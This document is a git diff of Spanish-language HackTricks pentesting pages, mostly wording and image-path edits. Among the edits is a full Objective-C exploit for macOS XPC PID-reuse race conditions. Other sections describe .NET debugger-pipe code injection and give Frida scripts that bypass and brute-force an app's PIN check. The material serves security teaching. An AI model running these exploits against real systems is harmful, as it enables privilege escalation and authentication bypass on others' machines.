* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -7,23 +7,23 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Reutilización de PID
Cuando un servicio **XPC** de macOS está verificando el proceso llamado basándose en el **PID** y no en el **token de auditoría**, es vulnerable a un ataque de reutilización de PID. Este ataque se basa en una **condición de carrera** en la que un **exploit** va a **enviar mensajes al servicio XPC** abusando de la funcionalidad y justo **después** de eso, ejecutando **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** con el binario permitido.
Cuando un servicio **XPC de macOS** verifica el proceso llamado basándose en el **PID** y no en el **token de auditoría**, es vulnerable a un ataque de reutilización de PID. Este ataque se basa en una **condición de carrera** donde un **exploit** va a **enviar mensajes al servicio XPC** abusando de la funcionalidad y justo **después** ejecutar **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** con el binario **permitido**.
Esta función hará que el **binario permitido posea el PID** pero el **mensaje XPC malicioso ya habría sido enviado** justo antes. Por lo tanto, si el servicio **XPC** utiliza el **PID** para **autenticar** al remitente y lo verifica **DESPUÉS** de la ejecución de **`posix_spawn`**, pensará que proviene de un proceso **autorizado**.
Esta función hará que el binario **permitido sea dueño del PID**, pero el **mensaje XPC malicioso ya habrá sido enviado** justo antes. Por lo tanto, si el servicio **XPC** utiliza el **PID** para **autenticar** al remitente y lo verifica **DESPUÉS** de la ejecución de **`posix_spawn`**, pensará que proviene de un proceso **autorizado**.
### Ejemplo de exploit
Si encuentras la función **`shouldAcceptNewConnection`** o una función llamada por ella que **llame** a **`processIdentifier`** y no llame a **`auditToken`**, es muy probable que esté verificando el PID del proceso y no el token de auditoría.\
Si encuentras la función **`shouldAcceptNewConnection`** o una función llamada por ella que **llame a** **`processIdentifier`** y no llame a **`auditToken`**, es muy probable que esté verificando el PID del proceso y no el token de auditoría.\
Como por ejemplo en esta imagen (tomada de la referencia):
<figure><img src="../../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
Comprueba este ejemplo de exploit (de nuevo, tomado de la referencia) para ver las 2 partes del exploit:
@ -31,7 +31,7 @@ Comprueba este ejemplo de exploit (de nuevo, tomado de la referencia) para ver l
* **Cada fork** enviará el **payload** al servicio XPC mientras ejecuta **`posix_spawn`** justo después de enviar el mensaje.
{% hint style="danger" %}
Para que el exploit funcione, es importante exportar export OBJC\_DISABLE\_INITIALIZE\_FORK\_SAFETY=YES o ponerlo en el exploit:
Para que el exploit funcione, es importante exportar exportar OBJC\_DISABLE\_INITIALIZE\_FORK\_SAFETY=YES o ponerlo en el exploit:
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
@ -83,63 +83,63 @@ extern char **environ;
void child() {
// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;
// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;
[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];
[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
bool create_nstasks() {
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}
nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}
return true;
return true;
}
int main(int argc, const char * argv[]) {
if(argc > 1) {
// called from the NSTasks
child();
if(argc > 1) {
// called from the NSTasks
child();
} else {
NSLog(@"Starting the race");
create_nstasks();
}
} else {
NSLog(@"Starting the race");
create_nstasks();
}
return 0;
return 0;
}obj
```
## Referencias
@ -154,7 +154,7 @@ int main(int argc, const char * argv[]) {
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -22,7 +22,7 @@ Obviamente, esto es tan poderoso que es complicado cargar una extensión de kern
* Al entrar en **modo de recuperación**, las extensiones de kernel deben estar **permitidas para ser cargadas**:
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* La extensión de kernel debe estar **firmada con un certificado de firma de código de kernel**, que solo puede ser otorgado por **Apple**. Quien revisará en detalle la **empresa** y las **razones** por las que se necesita.
* La extensión de kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.

View File

@ -76,7 +76,7 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
o utilizando la herramienta [Mach-O View](https://sourceforge.net/projects/machoview/):
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
Como podrás pensar, generalmente un binario universal compilado para 2 arquitecturas **duplica el tamaño** de uno compilado para solo 1 arquitectura.
@ -137,7 +137,7 @@ uint32_t cmd; /* type of load command */
uint32_t cmdsize; /* total size of command in bytes */
};
```
Hay alrededor de **50 tipos diferentes de comandos de carga** que el sistema maneja de manera diferente. Los más comunes son: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` y `LC_CODE_SIGNATURE`.
Hay aproximadamente **50 tipos diferentes de comandos de carga** que el sistema maneja de manera diferente. Los más comunes son: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` y `LC_CODE_SIGNATURE`.
### **LC\_SEGMENT/LC\_SEGMENT\_64**
@ -195,7 +195,7 @@ Ejemplo de **encabezado de sección**:
Si **agregas** el **desplazamiento de sección** (0x37DC) + el **desplazamiento** donde comienza la **arquitectura**, en este caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
También es posible obtener la **información de los encabezados** desde la **línea de comandos** con:
```bash
@ -210,7 +210,7 @@ Segmentos comunes cargados por este comando:
* `__const`: Datos constantes
* `__cstring`: Constantes de cadena
* `__stubs` y `__stubs_helper`: Involucrados durante el proceso de carga de bibliotecas dinámicas
* **`__DATA`**: Contiene datos que son **escribibles**.
* **`__DATA`**: Contiene datos que son **modificables**.
* `__data`: Variables globales (que han sido inicializadas)
* `__bss`: Variables estáticas (que no han sido inicializadas)
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc): Información utilizada por el tiempo de ejecución de Objective-C

View File

@ -21,7 +21,7 @@ Crea dos tuberías con nombre por proceso .Net en [dbgtransportsession.cpp#L127]
Entonces, si vas al directorio **`$TMPDIR`** del usuario, podrás encontrar **fifos de depuración** que podrías usar para depurar aplicaciones .Net:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
La función [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) manejará la comunicación desde un depurador.
@ -66,7 +66,7 @@ Una vez construido, **enviamos esto al objetivo** utilizando la llamada al siste
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
```
Siguiendo nuestro encabezado, necesitamos enviar una estructura `sessionRequestData` que contiene un GUID para identificar nuestra sesión:
Siguiendo nuestro encabezado, necesitamos enviar una estructura `sessionRequestData`, que contiene un GUID para identificar nuestra sesión:
```c
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
@ -175,11 +175,11 @@ En las versiones x64, esto es sencillo utilizando la técnica de **búsqueda de
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
Todo lo que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Utilizando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
Lo único que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Utilizando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio código shell.
Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio código malicioso.
El código POC completo utilizado para la inyección en PowerShell se puede encontrar [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
El código completo de POC utilizado para la inyección en PowerShell se puede encontrar [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
## Referencias

View File

@ -6,15 +6,15 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -26,13 +26,13 @@ Si estás interesado en una **carrera de hacking** y en hackear lo imposible -
Frida te permite **insertar código JavaScript** dentro de las funciones de una aplicación en ejecución. Pero puedes usar **python** para **llamar** los hooks e incluso para **interactuar** con los **hooks**.
Este es un script de python fácil que puedes usar con todos los ejemplos propuestos en este tutorial:
Este es un script de python sencillo que puedes usar con todos los ejemplos propuestos en este tutorial:
```python
#hooking.py
import frida, sys
with open(sys.argv[1], 'r') as f:
jscode = f.read()
jscode = f.read()
process = frida.get_usb_device().attach('infosecadventures.fridademo')
script = process.create_script(jscode)
print('[ * ] Running Frida Demo application')
@ -43,29 +43,29 @@ Llama al script:
```bash
python hooking.py <hookN.js>
```
Es útil saber cómo usar Python con Frida, pero para estos ejemplos también se puede llamar directamente a Frida utilizando las herramientas de línea de comandos de Frida:
Es útil saber cómo usar Python con Frida, pero para estos ejemplos también puedes llamar directamente a Frida utilizando las herramientas de línea de comandos de Frida:
```
frida -U --no-pause -l hookN.js -f infosecadventures.fridademo
```
## Hook 1 - Bypass de Booleanos
Aquí puedes ver cómo **enganchar** un método **booleano** (_checkPin_) de la clase: _infosecadventures.fridademo.utils.PinUtil_
Aquí puedes ver cómo **hook** un método **booleano** (_checkPin_) de la clase: _infosecadventures.fridademo.utils.PinUtil_
```javascript
//hook1.js
Java.perform(function() {
console.log("[ * ] Starting implementation override...")
var MainActivity = Java.use("infosecadventures.fridademo.utils.PinUtil");
MainActivity.checkPin.implementation = function(pin){
console.log("[ + ] PIN check successfully bypassed!")
return true;
}
console.log("[ * ] Starting implementation override...")
var MainActivity = Java.use("infosecadventures.fridademo.utils.PinUtil");
MainActivity.checkPin.implementation = function(pin){
console.log("[ + ] PIN check successfully bypassed!")
return true;
}
});
```
```
python hooking.py hook1.js
```
## Hook 2 - Fuerza Bruta de Funciones
## Hook 2 - Función de Fuerza Bruta
### Función no estática
@ -73,67 +73,67 @@ Si deseas llamar a una función no estática de una clase, **primero necesitas u
Para hacerlo, podrías **encontrar una instancia existente** y usarla:
```javascript
Java.perform(function() {
console.log("[ * ] Starting PIN Brute-force, please wait...");
Java.choose("infosecadventures.fridademo.utils.PinUtil", {
onMatch: function(instance) {
console.log("[ * ] Instance found in memory: " + instance);
for(var i = 1000; i < 9999; i++){
if(instance.checkPin(i + "") == true){
console.log("[ + ] Found correct PIN: " + i);
break;
}
}
},
onComplete: function() { }
});
console.log("[ * ] Starting PIN Brute-force, please wait...");
Java.choose("infosecadventures.fridademo.utils.PinUtil", {
onMatch: function(instance) {
console.log("[ * ] Instance found in memory: " + instance);
for(var i = 1000; i < 9999; i++){
if(instance.checkPin(i + "") == true){
console.log("[ + ] Found correct PIN: " + i);
break;
}
}
},
onComplete: function() { }
});
});
```
En este caso, esto no funciona ya que no hay ninguna instancia y la función es estática.
En este caso no funciona ya que no hay ninguna instancia y la función es estática
### Función Estática
### Función estática
Si la función es estática, simplemente puedes llamarla:
```javascript
//hook2.js
Java.perform(function () {
console.log("[ * ] Starting PIN Brute-force, please wait...")
var PinUtil = Java.use("infosecadventures.fridademo.utils.PinUtil");
for(var i=1000; i < 9999; i++)
{
if(PinUtil.checkPin(i+"") == true){
console.log("[ + ] Found correct PIN: " + i);
}
}
console.log("[ * ] Starting PIN Brute-force, please wait...")
var PinUtil = Java.use("infosecadventures.fridademo.utils.PinUtil");
for(var i=1000; i < 9999; i++)
{
if(PinUtil.checkPin(i+"") == true){
console.log("[ + ] Found correct PIN: " + i);
}
}
});
```
## Hook 3 - Recuperando argumentos y valor de retorno
Podrías enganchar una función y hacer que **imprima** el valor de los **argumentos pasados** y el valor del **valor de retorno:**
Puedes enganchar una función y hacer que **imprima** el valor de los **argumentos pasados** y el valor del **valor de retorno:**
```javascript
//hook3.js
Java.perform(function() {
console.log("[ * ] Starting implementation override...")
var EncryptionUtil = Java.use("infosecadventures.fridademo.utils.EncryptionUtil");
EncryptionUtil.encrypt.implementation = function(key, value){
console.log("Key: " + key);
console.log("Value: " + value);
var encrypted_ret = this.encrypt(key, value); //Call the original function
console.log("Encrypted value: " + encrypted_ret);
return encrypted_ret;
}
console.log("[ * ] Starting implementation override...")
var EncryptionUtil = Java.use("infosecadventures.fridademo.utils.EncryptionUtil");
EncryptionUtil.encrypt.implementation = function(key, value){
console.log("Key: " + key);
console.log("Value: " + value);
var encrypted_ret = this.encrypt(key, value); //Call the original function
console.log("Encrypted value: " + encrypted_ret);
return encrypted_ret;
}
});
```
## Importante
En este tutorial has enganchado métodos usando el nombre del método y _.implementation_. Pero si hubiera **más de un método** con el mismo nombre, necesitarás **especificar el método** que deseas enganchar **indicando el tipo de los argumentos**.
En este tutorial has enganchado métodos usando el nombre del método y _.implementation_. Pero si hubiera **más de un método** con el mismo nombre, deberás **especificar el método** que deseas enganchar **indicando el tipo de los argumentos**.
Puedes ver eso en [el siguiente tutorial](frida-tutorial-2.md).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -141,10 +141,10 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -18,23 +18,23 @@ Xamarin es una plataforma de código abierto que brinda a los desarrolladores ac
### Arquitectura de Xamarin Android&#x20;
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
Xamarin ofrece enlaces .NET a los espacios de nombres Android.\* y Java.\*. Las aplicaciones de Xamarin Android funcionan bajo el entorno de ejecución Mono, con la máquina virtual Android Runtime (ART) ejecutándose junto a él.
El entorno de ejecución Mono llama a estos espacios de nombres a través de los Envoltorios Llamables Administrados (MCW) y proporciona Envoltorios Llamables de Android (ACW) al ART.
Ambos entornos se ejecutan sobre el kernel de Linux e invocan varias API para el código de usuario. Esta disposición permite a los desarrolladores acceder al sistema subyacente.
Ambos entornos se ejecutan sobre el kernel de Linux e invocan varias API al código de usuario. Esta disposición permite a los desarrolladores acceder al sistema subyacente.
### Proyecto Xamarin iOS
Las aplicaciones de Xamarin.iOS se ejecutan bajo el entorno de ejecución Mono y utilizan la compilación completa de Ahead of Time (AOT) para compilar los códigos .NET de C# a lenguaje ensamblador ARM.
Se ejecuta junto con el tiempo de ejecución Objective-C. Los entornos de tiempo de ejecución se ejecutan sobre un kernel similar a UNIX e invocan varias API para el código de usuario, lo que permite a los desarrolladores acceder al sistema administrado o nativo subyacente.&#x20;
Se ejecuta junto con el tiempo de ejecución Objective-C. Los entornos de tiempo de ejecución se ejecutan sobre un kernel similar a UNIX e invocan varias API al código de usuario, lo que permite a los desarrolladores acceder al sistema administrado o nativo subyacente.&#x20;
El diagrama que se muestra a continuación representa esta arquitectura:
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### ¿Qué es .Net Runtime y Mono Framework?
@ -52,7 +52,7 @@ La descompilación es el proceso utilizado para producir código fuente a partir
Para abrir la ventana Módulos, selecciona Depurar > Ventanas > Módulos. Una vez que detectes el módulo que requiere descompilación, haz clic derecho y selecciona "Descompilar fuente a archivo de símbolos". Esta acción **genera un archivo de símbolos que contiene un código fuente descompilado que**, a su vez, te permite ingresar al código de terceros directamente desde tu código fuente.
**Visual Studio** descompila el código administrado, incluso en ausencia de símbolos, lo que te permite ver el código, inspeccionar las variables y establecer puntos de interrupción. Para extraer el código fuente al disco, haz clic derecho en el módulo con el origen incrustado y haz clic en "Extraer origen incrustado". Esto exportará los archivos fuente a una carpeta de archivos varios para su posterior análisis.
**Visual Studio** descompila el código administrado, incluso en ausencia de símbolos, lo que te permite ver el código, inspeccionar las variables y establecer puntos de interrupción. Para extraer el código fuente al disco, haz clic derecho en el módulo con el código fuente incrustado y haz clic en "Extraer origen incrustado". Esto exportará los archivos fuente a una carpeta de archivos varios para su posterior análisis.
### Compilación JIT vs AOT de aplicaciones Xamarin
@ -69,7 +69,7 @@ Si te encuentras con una aplicación compilada con AOT completo y si los archivo
Simplemente **descomprime el archivo apk/ipa** y copia todos los archivos presentes en el directorio de ensamblados:
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
En el caso de los APK de Android, **estos archivos dll están comprimidos** y no se pueden utilizar directamente para la descompilación. Afortunadamente, existen herramientas que podemos utilizar para **descomprimir estos archivos dll** como [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) y [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
```
@ -79,7 +79,7 @@ En el caso de iOS, **los archivos DLL dentro de los archivos IPA se pueden carga
**La mayoría del código de la aplicación se puede encontrar al descompilar los archivos DLL**. También hay que tener en cuenta que las aplicaciones basadas en el marco de trabajo Xamarin contienen un 90% de código común en las compilaciones de todas las plataformas como iOS y Android, etc.&#x20;
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
